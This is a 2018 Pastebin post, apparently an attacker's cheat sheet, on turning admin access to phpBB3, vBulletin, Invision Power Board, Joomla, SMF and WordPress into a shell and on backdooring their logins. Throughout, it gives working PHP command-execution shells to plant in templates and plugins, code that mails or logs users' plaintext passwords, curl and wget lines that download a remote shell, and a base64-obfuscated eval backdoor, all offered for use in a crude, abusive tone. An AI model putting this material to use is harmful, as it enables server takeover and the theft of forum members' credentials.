Joker0day

Shelling All Famous Boards (vBulletin,SMF,phpBB) etc

Jul 22nd, 2018
558
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.55 KB | None | 0 0
  1. _ _ _ _
  2. | |__ __ _ __| |____| |___ ___ _ _ ___ __| |
  3. | '_ \/ _` / _| / / _` / _ \/ _ \ '_/ -_) _` |
  4. |_.__/\__,_\__|_\_\__,_\___/\___/_| \___\__,_| 1. phpBB3
  5. 2. vBull
  6. nTha 3. IPB
  7. ___ _ ___ 4. Joomla
  8. |_ ) |__/ _ \ 5. SMF
  9. / /| / /\_, / 6. Wordpress
  10. /___|_\_\ /_/ 7. QuickRef
  11.  
  12.  
  13. This txt is about escalating access when you have an admin
  14. account on a cms or forum and also backdooring the login
  15. protocol. Enjoy sluts - Will add more when I see em.
  16.  
  17. Note: This is a combined list some are my writings
  18. and some are just grabbed from the nets.
  19.  
  20.  
  21. _ _____ _____ ___
  22. ___| |_ ___| __ | __ |_ |
  23. | . | | . | __ -| __ -|_ |
  24. | _|_|_| _|_____|_____|___|
  25. |_| |_|
  26.  
  27. The newest version of the most popular free forum is phpBB3.
  28. I would even venture to say phpBB is the most used forum on
  29. the net today. Anywho here we go.
  30.  
  31. Escalation:
  32. Step 1. Admin Panel > Security Settings > Allow php.... ON
  33. Step 2. Styles > Templates > Edit > faq_blah.html
  34. Step 3. Enter following code.
  35.  
  36. <!-- PHP -->$cmd = $_GET['cmd'];
  37. system("$cmd", $return);
  38. ?><!-- ENDPHP -->
  39.  
  40. Step 4.Call faq.php
  41. Example: http://www.zomgownme.com/phpBB3/faq.php?cmd=ls
  42.  
  43. Login Backdoor:
  44. Step 1. Open file includes/functions.php
  45. Step 2. FIND
  46. $result = $auth->login($username, $password, $autologin, $viewonline, $admin);
  47. Step 3. Add this after it:
  48. $sitename = "domain.tld";
  49. $recipient = 'youremail@gmail.com';
  50. $subject = 'Password Alert - sitename';
  51. $message = "Sitename: $sitename - Username: $username - Password: $password";
  52. mail($recipient, $subject, $message);
  53.  
  54.  
  55. _____ _ _ _ _
  56. _ _| __ |_ _| | |___| |_|_|___
  57. | | | __ -| | | | | -_| _| | |
  58. \_/|_____|___|_|_|___|_| |_|_|_|
  59.  
  60. vBulletin is the most popular paid forum. It is constantly
  61. upgraded and has the best support because of that.
  62.  
  63. Escalation:
  64. Step 1. On the sidebar select Plugins & Products
  65. Step 2. Select Add New Plugin
  66. Step 3. Complete the form like below
  67. Product: vBulletin
  68. Hook Location: Ajax_Complete
  69. Title: Whatever
  70. Execution Order: 5
  71. Code: if(isset($_GET['cmd'])){echo "<h1>lol</h1><pre>"; system($_GET['cmd']);exit;}
  72. Check Plugin Is ACTIVE
  73. click Save
  74. Step 4. Now go to domain.com/path/ajax.php?cmd=ls
  75.  
  76. Login Backdoor:
  77. For Versions 3.6.5-.10 & 3.7.0 & 3.7.3 PL1 & 3.8X
  78.  
  79. Step 1. Open global.php - it's in the main directory
  80. Step 2. Search for the string below
  81.  
  82. $show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;
  83.  
  84. Step 3. Null the line out by adding // infront of the line
  85.  
  86. Step 4. Open login.php - it's in the main directory
  87. Step 5. Search for process_new_login and add the following code under
  88.  
  89. $lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
  90. $lg_password = $vbulletin->GPC["vb_login_password"];
  91. $lg_file = "./includes/lg.html";
  92. $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
  93.  
  94. while($row = @mysql_fetch_array($sql_query))
  95. {
  96.  
  97. if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
  98. {
  99. $fp1 = @fopen($lg_file, "a+");
  100. @fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n");
  101. @fclose($fp1);
  102. $f = @file($lg_file);
  103. $new = array_unique($f);
  104. $fp = @fopen($lg_file, "w");
  105. foreach($new as $values)
  106. {
  107. @fputs($fp, $values);
  108. }
  109. @fclose($fp);
  110. }
  111. }
  112.  
  113. Step 6. Check the log file at domain.com/path/includes/lg.html to make sure
  114. it's actually logging. If it is not create the file and give it the proper
  115. properties.
  116.  
  117.  
  118. _____ _____ _____ _
  119. | | _ | | __ |___ ___ ___ _| |
  120. |- -| __|_| __ -| . | .'| _| . |
  121. |_____|__| |_|_____|___|__,|_| |___|
  122.  
  123. Invision Powerboard is another popular forum. If it's popular you gotta know
  124. how to own it.
  125.  
  126. Escalation:
  127. Step 1. Go to Admin > Look and Feel > Manage languages
  128. Step 2. Then choose public_help
  129. Step 3. Edit help_txt which originally is "Choose a topic from the list or search..."
  130. Step 4. Add php code like below
  131.  
  132. ${${phpinfo()}}
  133. ${${system(wget http://domain.com/shell.txt)}}
  134.  
  135. Step 5. Save changes
  136. Step 6. Then go to the help module which is located at
  137. http://domain.com/ipb/index.php?app=core&module=help
  138.  
  139. No Logging here haven't had to yet.
  140.  
  141.  
  142. __ _
  143. __| |___ ___ _____| |___
  144. | | | . | . | | | .'|
  145. |_____|___|___|_|_|_|_|__,|
  146.  
  147. Joomla is a free CMS and is widely used.
  148.  
  149. Escalation Method 1:
  150. Step 1. Select Extensions at the top and go to Template Manager
  151. Step 2. Seletect the template and go to edit HTML
  152. Step 3. Add php code to get a shell on the site
  153.  
  154. system("curl -o shell.php http://www.domain.com/shell.txt");
  155. $cmd = $_GET['cmd'];
  156. system("$cmd", $return);
  157.  
  158. Escalation Method 2:
  159. Step 1. Go to Configuration
  160. Step 2. Go to System
  161. Step 3. Allow .php in extensions
  162. Step 4. Go the media manager
  163. Step 5. Then upload your shell
  164.  
  165.  
  166. _____ _____ _____
  167. | __| | __|
  168. |__ | | | | __|
  169. |_____|_|_|_|__|
  170.  
  171. Simple Machine Forums is another freebie for kids on the interwebs.
  172.  
  173. Escalation for SMF 1.1.4 Method 1:
  174. Step 1. Enable Attachments
  175. Step 2. Disable encrypt filenames function
  176. Step 3. Enable php extension
  177. Step 4. Upload an attachment(shell.php) in a new topic window.
  178.  
  179. Escalation for SMF 1.1.4 Method 2:
  180. You can edit the template and add php code to it.
  181.  
  182.  
  183. _ _ _ _
  184. | | | |___ ___ _| |___ ___ ___ ___ ___
  185. | | | | . | _| . | . | _| -_|_ -|_ -|
  186. |_____|___|_| |___| _|_| |___|___|___|
  187. |_|
  188.  
  189. The most common blogger software.
  190.  
  191. Escalation Method 1:
  192. Step 1. Login as Admin and Click on Media on the sidebar
  193. Step 2. Click add new under library
  194. Step 3. Click Select files and upload your shell
  195. Step 4. Once uploaded a prompt will come up and give you
  196. the path to the shell
  197.  
  198. Escalation Method 2:
  199. Step 1. Login as admin and click on appearance on the sidebar
  200. step 2. Click Editor
  201. Step 3. Click Comments(comments.php) on the right side
  202. Step 4. Insert your php code
  203. Step 5. Call comments.php in the wordpress template
  204. www.domain.com/wp-content/themes/atahualpa.3.2/atahualpa/comments.php
  205.  
  206.  
  207. _____ _ _ _____ ___
  208. | |_ _|_|___| |_ | __ |___| _|___ ___ ___ ___ ___ ___ ___
  209. | | | | | | _| '_| | -| -_| _| -_| _| -_| | _| -_|_ -|
  210. |__ _|___|_|___|_,_| |__|__|___|_| |___|_| |___|_|_|___|___|___|
  211. |__|
  212.  
  213. This is a little area I added since I know I will be referring to this document
  214. frequently. These are just simple things I use alot and instead of searching
  215. for txt files on my pc I can just quickly view it here.
  216.  
  217. 1. Python Simple httpserver good for quickly dling dbs without having to cp or mv'n
  218. python -m SimpleHTTPServer 39282 (thanks w)
  219.  
  220. 2. Simple phpdoor I use frequently.
  221. $cmd = $_GET['cmd'];
  222. system("$cmd", $return);
  223. or
  224. eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOyBpZigkX0dFVFsnY21kJ10peyBzeXN0ZW0oJF9HRVRbJ2NtZCddLCAkcmV0dXJuKTsgfQ=='));
  225. or
  226. if($@_GET['file']){
  227. include($_GET['file']);
  228. }
  229.  
  230. 3. Find writeable areas
  231. find . -perm -2 -ls
  232.  
  233. 4. Tar up a directory
  234. tar -cvzf name folder
  235.  
  236. 5. i <3 curl
  237. curl -o shell.php http://www.domain.com/shell.txt
Add Comment
Please, Sign In to add comment